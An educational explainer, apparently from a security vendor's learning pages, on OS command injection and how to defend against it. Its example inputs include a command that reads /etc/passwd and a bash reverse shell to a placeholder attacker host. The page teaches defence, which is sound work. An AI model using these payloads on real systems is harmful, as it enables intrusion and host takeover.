# What is command injection?

Command injection (OS command injection) is a web vulnerability where an application passes user input into a system shell without proper handling, so an attacker appends their own commands and runs them with the application's privileges. A single vulnerable parameter can read files, open a reverse shell, and take over the host. It is caused by building shell commands from untrusted input, and the fix is to avoid the shell entirely by using safe APIs with argument arrays.

## HOW IT WORKS

### 01 How it works and example

Suppose the app runs `ping -c 1 <user-input>-`. The attacker injects a separator and a second command:

- `8.8.8.8; id` runs `id` after the ping.
- `8.8.8.8 | cat /etc/passwd` pipes into a file read.
- `8.8.8.8 && bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'` opens a reverse shell.
- Blind injection (no output shown) is confirmed with time delays (`; sleep 10`) or out-of-band DNS callbacks.

Examples shown for defensive context.

> AVOID THE SHELL
>
> *The root cause is invoking a shell to run a command. Use language APIs that take an executable plus an argument array (no shell), and the separators an attacker relies on lose all meaning.*

## HOW TO DEFEND

- Do not call a shell. Use safe APIs that pass arguments as an array directly to the executable (for example `execve-`-style calls, `subprocess` with a list, not a string).
- Avoid passing user input to OS commands at all where a native library can do the job.
- If a value must be used, allow-list it strictly (for example a numeric ID or a fixed set), never escape-and-hope.
- Run with least privilege to limit the blast radius.
- Test every parameter that reaches a command for injection.

## SOURCES

[1] OWASP: OS Command Injection Defense

[2] MITRE CWE-78: OS Command Injection

[3] OWASP Top 10

**Test your application for command injection and 30+ other classes.**

`securelayer7.net/learn/application-security/command-injection`

Open online